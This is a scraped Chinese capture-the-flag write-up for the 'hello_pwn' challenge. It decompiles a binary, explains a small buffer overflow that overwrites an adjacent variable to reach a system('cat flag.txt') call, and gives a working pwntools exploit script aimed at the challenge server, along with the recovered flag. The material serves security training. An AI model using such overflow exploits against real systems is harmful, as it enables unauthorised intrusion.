zoukankan      html  css  js  c++  java
  • 攻防世界 hello_pwn

    题目

    二进制文件:hello_pwn
    环境:220.249.52.133:41097

    分析与求解

    1. checksec hello_pwn

    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x400000)

    用IDA64打开。
    2. 反编译后查看main函数,基本逻辑是read进来用户输入的数据放到unk_601068,然后判断dword_60106C是否等于1853186401,若等于,则调用sub_400686函数

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      alarm(0x3Cu);
      setbuf(stdout, 0LL);
      puts("~~ welcome to ctf ~~     ");
      puts("lets get helloworld for bof");
      read(0, &unk_601068, 0x10uLL);
      if ( dword_60106C == 1853186401 )
        sub_400686(0LL, &unk_601068);
      return 0LL;
    }
    
    1. 查看sub_400686函数,因此只要执行sub_400686就可以cat flag.txt
    __int64 sub_400686()
    {
      system("cat flag.txt");
      return 0LL;
    }
    
    1. 点击unk_601068或者dword_60106C可以查看对应栈信息

      这意味,只要先将0x601068~0x60106B这四个字节用任意数据填充掉,再跟上1853186401的二进制数就可以覆盖dword_60106C部分的值,使得sub_400686被调用。
    2. 利用pwntools获取flag
    from pwn import *
    
    p = remote('220.249.52.133', 41097)
    payload = 'a'*4 + p64(1853186401)
    p.send(payload)
    p.interactive()
    

    cyberpeace{09ed13883f73354381a4086c516d64bf}

  • 相关阅读:
    3.14周末作业
    3.13作业
    文件处理
    字符编码
    基本数据类型总结
    基本数据类型--------------------集合set()
    python入门009
    作业009
    python入门008
    作业008
  • 原文地址:https://www.cnblogs.com/vict0r/p/13770060.html
Copyright © 2011-2022 走看看